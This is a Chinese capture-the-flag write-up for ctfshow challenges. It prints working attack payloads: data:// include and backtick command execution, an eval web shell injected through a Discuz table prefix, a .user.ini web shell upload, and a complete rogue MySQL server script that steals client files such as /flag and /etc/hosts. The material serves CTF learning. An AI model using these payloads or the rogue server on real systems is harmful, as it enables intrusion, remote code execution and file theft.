baby杯

captcha

知道了账号为admin

我们点击无脑,给了我们一个密码本让我们爆破

这个音频太阴间了

我们直接爆破

发现验证码应该是无条件不刷新。

无条件不刷新是指在某一时间段内,无论登录失败多少次,只要不刷新页面,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解。换句话说,攻击者可以在同一个会话下,在获得第一个验证码后,后面不再主动触发验证码生成页面,并且一直使用第一个验证码就可循环进行后面的表单操作,从而绕过了验证码的屏障作用,对登录进行暴力猜解。

成功爆破出flag

完美的缺点

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-31 21:42:40
# @Last Modified by:   h1xa
# @Last Modified time: 2021-06-01 00:08:12
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html/');
// 限制 PHP 只能访问 /var/www/html/ 目录及其子目录,防止跨目录读取敏感文件。
$file_name = substr($_GET['file_name'], 0,16);
$file_name 被强制截断为前 16 个字符。
$file_content=substr($_GET['file_content'], 0,32);
$file_content 被强制截断为前 32 个字符
file_put_contents('/c/t/f/s/h/o/w/'.$file_name, $file_content);
这行代码将 $file_content 写入到指定目录 /c/t/f/s/h/o/w/ 下,文件名为 $file_name。
if(file_get_contents('php://input')==='ctfshow'){
  需要向服务器发送一个 POST 请求,且请求体(Raw Data)的内容必须完全等于字符串 ctfshow
    include($file_name);
}

ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。

Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。

限制了读写目录,字符长度,file_put_contents更改了目录

使用data协议

复制代码
file_name=data:,<?=`ls`;?>
file_name=data:,<?=`nl+*`;
ctfshow

data协议常用数据格式

复制代码
data:,<文本数据>  
data:text/plain,<文本数据>  
data:text/html,<HTML代码>  
data:text/html;base64,<base64编码的HTML代码>  
data:text/css,<CSS代码>  
data:text/css;base64,<base64编码的CSS代码>  
data:text/javascript,<Javascript代码>  
data:text/javascript;base64,<base64编码的Javascript代码>  
data:image/gif;base64,base64编码的gif图片数据  
data:image/png;base64,base64编码的png图片数据  
data:image/jpeg;base64,base64编码的jpeg图片数据  
data:image/x-icon;base64,base64编码的icon图片数据

成功获取flag

应该不难

提示flag在/flag下

任意文件删除配合install过程getshell

这个方法是看到一篇博客分析的,主要是利用文件删除漏洞删掉install.lock文件,绕过对安装完成的判断能够再进行安装的过程,然后再填写配置信息处构使用构造的表前缀名,时一句话写入配置文件中,getshell。

表前缀:x');@eval($_POST[1]);('

但是我在使用上面版本v3.4的代码时发现,安装后install目录下不存在index.php了。分析代码发现会有安装后的删除处理,在/source/admincp/admincp_index.php的第14行:

复制代码
if(@file_exists(DISCUZ_ROOT.'./install/index.php') && !DISCUZ_DEBUG) {
    @unlink(DISCUZ_ROOT.'./install/index.php');
    if(@file_exists(DISCUZ_ROOT.'./install/index.php')) {
        dexit('Please delete install/index.php via FTP!');
    }
}

那是不是老版本存在该问题呢?

我翻了历史版本代码,直到git提交的第一个版本都有如上的处理。

但还是分析一下吧,就当学习了。

**可以利用的条件:**1、安装后没有登录后台,此时install/index还没删除 2、因为其他原因没有删除

任意文件删除配合install过程getshell

数据表前缀需要更改

直接安装就行

https://xz.aliyun.com/news/7088#toc-7

baby_php

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-31 13:40:37
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-31 16:36:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);

class fileUtil{

    private $name;
    private $content;


    public function __construct($name,$content=''){
        $this->name = $name;
        $this->content = $content;
        ini_set('open_basedir', '/var/www/html');
      在构造对象时就把 open_basedir 限制为 /var/www/html
        PHP进程的任何文件操作都不能跳出 /var/www/html 目录
    }

    public function file_upload(){
        if($this->waf($this->name) && $this->waf($this->content)){
            return file_put_contents($this->name, $this->content);
        }else{
            return 0;
        }
    }
调用内部的 waf() 对 文件名 和 文件内容 都进行检查
  两个都通过才允许写入文件
  file_put_contents() 会直接把 $content 写入 $name 指定的路径
    private function waf($input){
        return !preg_match('/php/i', $input);
    }
只要文件名或内容里出现 php(包括 PhP、pHp、PHP、<?php 等)就直接拦截
    public function file_download(){
        if(file_exists($this->name)){
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.$this->name.'"');
            header('Content-Transfer-Encoding: binary');
            echo file_get_contents($this->name);
        }else{
            return False;
        }
    }
  典型的强制下载文件实现
先判断文件是否存在
设置几个下载相关的header
直接输出文件内容
文件不存在返回 false
    public function __destruct(){

    }

}

$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);

if($action==='upload'){
    die('Permission denied');
}
如果 $_GET['a'] == 'upload',直接退出并显示 Permission denied
无法通过 GET 方式触发 upload 功能
switch ($action) {
    case 'upload':
        $name = $_POST['name'];
        $content = $_POST['content'];
        $ft = new fileUtil($name,$content);
        if($ft->file_upload()){
            echo $name.' upload success!';
        }
        break;
    case 'download':
        $name = $_POST['name'];
        $ft = new fileUtil($name,$content);
        if($ft->file_download()===False){
            echo $name.' download failed';
        }
        break;
    default:
        echo 'baby come on';
        break;
}

主要是这里既要action不为upload又要switch case为upload

这里查了一下,switch用的弱类型比较,弱类型比较字符串和bool值为true结果为true

这⾥直接⽤了highlight_file的返回值作为$_GET['a'] 的初始值

本地测试此函数的返回值:

复制代码
 var_dump(highlight_file(__FILE__)); 

得到类型为:bool(true)

如果对$_GET['a']不进⾏赋值,则默认值为true

然后进⼊switch的弱类型判单,会得到:

复制代码
var_dump(true=='upload'); 

漏洞利用成功,进⼊了upload的分⽀,可以上传任意 名称/内容不包含php的⽂件

之后便是正常的文件上传操作。

这里还有个waf,直接<?= 即可。但是我们传入的文件名以.php不能这么改,这里可以上传.user.ini

复制代码
content=auto_prepend_file="1.txt"&name=.user.ini

content=<?=`$_GET[1]`;?>&name=1.txt

这⾥需要等待默认的⽣效时间,可以参考php配置⽂件: 为5min。

之后成功进行rce了,先1=ls,再cat flag即可。

ctfshowcms

下载下来

复制代码
SS<?php

define("ROOT_PATH",__DIR__);

error_reporting(0);

$want = addslashes($_GET['feng']);
$want = $want==""?"index":$want;

include('files/'.$want.".php");

查看index.php

复制代码
<?php
header('Content-Type:text/html;charset=utf-8');
if(file_exists("installLock.txt")){
    echo "你已经安装了ctfshowcms,请勿重复安装。";
    exit;
}

echo "欢迎安装ctfshowcms~"."<br>";


$user=$_POST['user'];
$password=md5($_POST['password']);
$dbhost=$_POST['dbhost'];
$dbuser=$_POST['dbuser'];
$dbpwd=$_POST['dbpwd'];
$dbname=$_POST['dbname'];
if($user==""){
    echo "CMS管理员用户名不能为空!";
    exit();
}
if($password==""){
    echo "CMS管理员密码不能为空!";
    exit();
}
if($dbhost==""){
    echo "数据库地址不能为空!";
    exit();
}
if($dbuser==""){
    echo "数据库用户名不能为空!";
    exit();
}
if($dbpwd==""){
    echo "数据库密码不能为空!";
    exit();
}
if($dbname==""){
    echo "数据库名不能为空!";
    exit();
}
// 连接数据库
$db = mysql_connect ( $dbhost, $dbuser, $dbpwd )  or die("数据库连接失败");

// 选择使用哪个数据库
$a = mysql_select_db ( $dbname, $db );
// 数据库编码方式
$b = mysql_query ( 'SET NAMES ' . 'utf-8', $db );

if(file_exists("ctfshow.sql")){
    echo "正在写入数据库!";
}else{
    die("sql文件不存在");
}

$content = "<?php
\$DB_HOST='".$dbhost."';
\$DB_USER='".$dbuser."';
\$DB_PWD='".$dbpwd."';
\$DB_NAME='".$dbname."';
?>
";


file_put_contents(ROOT_PATH."/data/settings.php",$content);
echo "数据库设置写入成功!~"."<br>";

$of = fopen(ROOT_PATH.'/install/installLock.txt','w');
if($of){
    fwrite($of,"ctfshowcms");
}
echo "安装成功!";

install/index.php

在index.php里存在一个文件包含,install/index.php开头有一个安装锁的检测,但这里使用的是相对路径,利用上面的文件包含,则可以利用路径的问题绕过安装锁的检测,进行二次安装。

利用MySQL 服务端恶意读取客户端任意文件漏洞

https://www.modb.pro/db/51823

LOAD DATA INFILE

语句用于高速地从一个文本文件中读取行,并写入一个表中。文件名称必须为一个文字字符串。

LOAD DATA INFILESELECT ... INTO OUTFILE的相对语句。把表的数据备份到文件使用SELECT ... INTO OUTFILE,从备份文件恢复表数据,使用 LOAD DATA INFILE

原理在于MySQL服务端可以利用 LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件

恶意脚本

https://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py

复制代码
from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter

_rouge_mysql_sever_read_file_result = {

}
_rouge_mysql_server_read_file_end = False


def checkVersionPy3():
    return not version_info < (3, 0)


def rouge_mysql_sever_read_file(fileName, port, showInfo):
    if showInfo:
        log = getLogger(__name__)
        log.setLevel(INFO)
        tmp_format = StreamHandler()
        tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
        log.addHandler(
            tmp_format
        )

    def _infoShow(*args):
        if showInfo:
            log.info(*args)

    # ================================================
    # =======No need to change after this lines=======
    # ================================================

    __author__ = 'Gifts'
    __modify__ = 'Morouu'

    global _rouge_mysql_sever_read_file_result

    class _LastPacket(Exception):
        pass

    class _OutOfOrder(Exception):
        pass

    class _MysqlPacket(object):
        packet_header = Struct('<Hbb')
        packet_header_long = Struct('<Hbbb')

        def __init__(self, packet_type, payload):
            if isinstance(packet_type, _MysqlPacket):
                self.packet_num = packet_type.packet_num + 1
            else:
                self.packet_num = packet_type
            self.payload = payload

        def __str__(self):
            payload_len = len(self.payload)
            if payload_len < 65536:
                header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
            else:
                header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

            result = "".join(
                (
                    header.decode("latin1") if checkVersionPy3() else header,
                    self.payload
                )
            )

            return result

        def __repr__(self):
            return repr(str(self))

        @staticmethod
        def parse(raw_data):
            packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
            payload = raw_data[1:]

            return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)

    class _HttpRequestHandler(async_chat):

        def __init__(self, addr):
            async_chat.__init__(self, sock=addr[0])
            self.addr = addr[1]
            self.ibuffer = []
            self.set_terminator(3)
            self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
                                                                                                           "Auth",
                                                                                                           "Data",
                                                                                                           "MoreLength",
                                                                                                           "File"]
            self.state = self.stateList[0]
            self.sub_state = self.stateList[1]
            self.logined = False
            self.file = ""
            self.push(
                _MysqlPacket(
                    0,
                    "".join((
                        '\x0a',  # Protocol
                        '5.6.28-0ubuntu0.14.04.1' + '\0',
                        '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
                    )))
            )

            self.order = 1
            self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']

        def push(self, data):
            _infoShow('Pushed: %r', data)
            data = str(data)
            async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)

        def collect_incoming_data(self, data):
            _infoShow('Data recved: %r', data)
            self.ibuffer.append(data)

        def found_terminator(self):
            data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
            self.ibuffer = []

            if self.state == self.stateList[0]:  # LEN
                len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
                    data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
                if len_bytes < 65536:
                    self.set_terminator(len_bytes)
                    self.state = self.stateList[2]  # Data
                else:
                    self.state = self.stateList[3]  # MoreLength
            elif self.state == self.stateList[3]:  # MoreLength
                if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
                    self.push(None)
                    self.close_when_done()
                else:
                    self.state = self.stateList[2]  # Data
            elif self.state == self.stateList[2]:  # Data
                packet = _MysqlPacket.parse(data)
                try:
                    if self.order != packet.packet_num:
                        raise _OutOfOrder()
                    else:
                        # Fix ?
                        self.order = packet.packet_num + 2
                    if packet.packet_num == 0:
                        if packet.payload[0] == '\x03':
                            _infoShow('Query')

                            self.set_terminator(3)
                            self.state = self.stateList[0]  # LEN
                            self.sub_state = self.stateList[4]  # File
                            self.file = fileName.pop(0)

                            # end
                            if len(fileName) == 1:
                                global _rouge_mysql_server_read_file_end
                                _rouge_mysql_server_read_file_end = True

                            self.push(_MysqlPacket(
                                packet,
                                '\xFB{0}'.format(self.file)
                            ))
                        elif packet.payload[0] == '\x1b':
                            _infoShow('SelectDB')
                            self.push(_MysqlPacket(
                                packet,
                                '\xfe\x00\x00\x02\x00'
                            ))
                            raise _LastPacket()
                        elif packet.payload[0] in '\x02':
                            self.push(_MysqlPacket(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise _LastPacket()
                        elif packet.payload == '\x00\x01':
                            self.push(None)
                            self.close_when_done()
                        else:
                            raise ValueError()
                    else:
                        if self.sub_state == self.stateList[4]:  # File
                            _infoShow('-- result')
                            # fileContent
                            _infoShow('Result: %r', data)
                            if len(data) == 1:
                                self.push(
                                    _MysqlPacket(packet, '\0\0\0\x02\0\0\0')
                                )
                                raise _LastPacket()
                            else:
                                self.set_terminator(3)
                                self.state = self.stateList[0]  # LEN
                                self.order = packet.packet_num + 1

                            global _rouge_mysql_sever_read_file_result
                            _rouge_mysql_sever_read_file_result.update(
                                {self.file: data.encode() if not checkVersionPy3() else data}
                            )

                            # test
                            # print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)

                            self.close_when_done()

                        elif self.sub_state == self.stateList[1]:  # Auth
                            self.push(_MysqlPacket(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise _LastPacket()
                        else:
                            _infoShow('-- else')
                            raise ValueError('Unknown packet')
                except _LastPacket:
                    _infoShow('Last packet')
                    self.state = self.stateList[0]  # LEN
                    self.sub_state = None
                    self.order = 0
                    self.set_terminator(3)
                except _OutOfOrder:
                    _infoShow('Out of order')
                    self.push(None)
                    self.close_when_done()
            else:
                _infoShow('Unknown state')
                self.push('None')
                self.close_when_done()

    class _MysqlListener(dispatcher):
        def __init__(self, sock=None):
            dispatcher.__init__(self, sock)

            if not sock:
                self.create_socket(AF_INET, SOCK_STREAM)
                self.set_reuse_addr()
                try:
                    self.bind(('', port))
                except error:
                    exit()

                self.listen(1)

        def handle_accept(self):
            pair = self.accept()

            if pair is not None:
                _infoShow('Conn from: %r', pair[1])
                _HttpRequestHandler(pair)

                if _rouge_mysql_server_read_file_end:
                    self.close()

    _MysqlListener()
    _asyLoop()
    return _rouge_mysql_sever_read_file_result

if __name__ == '__main__':

    for name, content in rouge_mysql_sever_read_file(fileName=["/flag", "/etc/hosts"], port=3307,showInfo=True).items():
        print(name + ":\n" + content.decode())

结尾改一下

在vps运行脚本,网页执行如下操作即可

复制代码
http://www.xxxx.com?feng=../install/index

user=1&password=1&dbhost=xxx.xxx.xxx.xxx:3307&dbuser=1&dbpwd=1&dbname=1
相关推荐
lbb 小魔仙8 小时前
【Java】Java 实战项目:手把手教你写一个电商订单系统
android·java·python
Android系统攻城狮10 小时前
Android tinyalsa深度解析之pcm_state调用流程与实战(一百一十七)
android·pcm·tinyalsa·音频进阶·音频性能实战
吴声子夜歌11 小时前
RxJava——调度器Scheduler
android·echarts·rxjava
冬奇Lab12 小时前
AMS核心机制:Activity生命周期与进程管理深度解析
android·源码阅读
西邮彭于晏13 小时前
安卓app发布
android
游戏开发爱好者814 小时前
完整教程:App上架苹果App Store全流程指南
android·ios·小程序·https·uni-app·iphone·webview
YIN_尹15 小时前
【MySQL】SQL里的“连连看”:从笛卡尔积到自连接
android·sql·mysql
bisal(Chen Liu)15 小时前
0.5 hour还是0.5 hours?
android
特立独行的猫a15 小时前
Kuikly多端框架(KMP)实战:现代Android/KMP状态管理指南:基于StateFlow与UDF架构的实践
android·架构·harmonyos·状态管理·kmp·stateflow·kuikly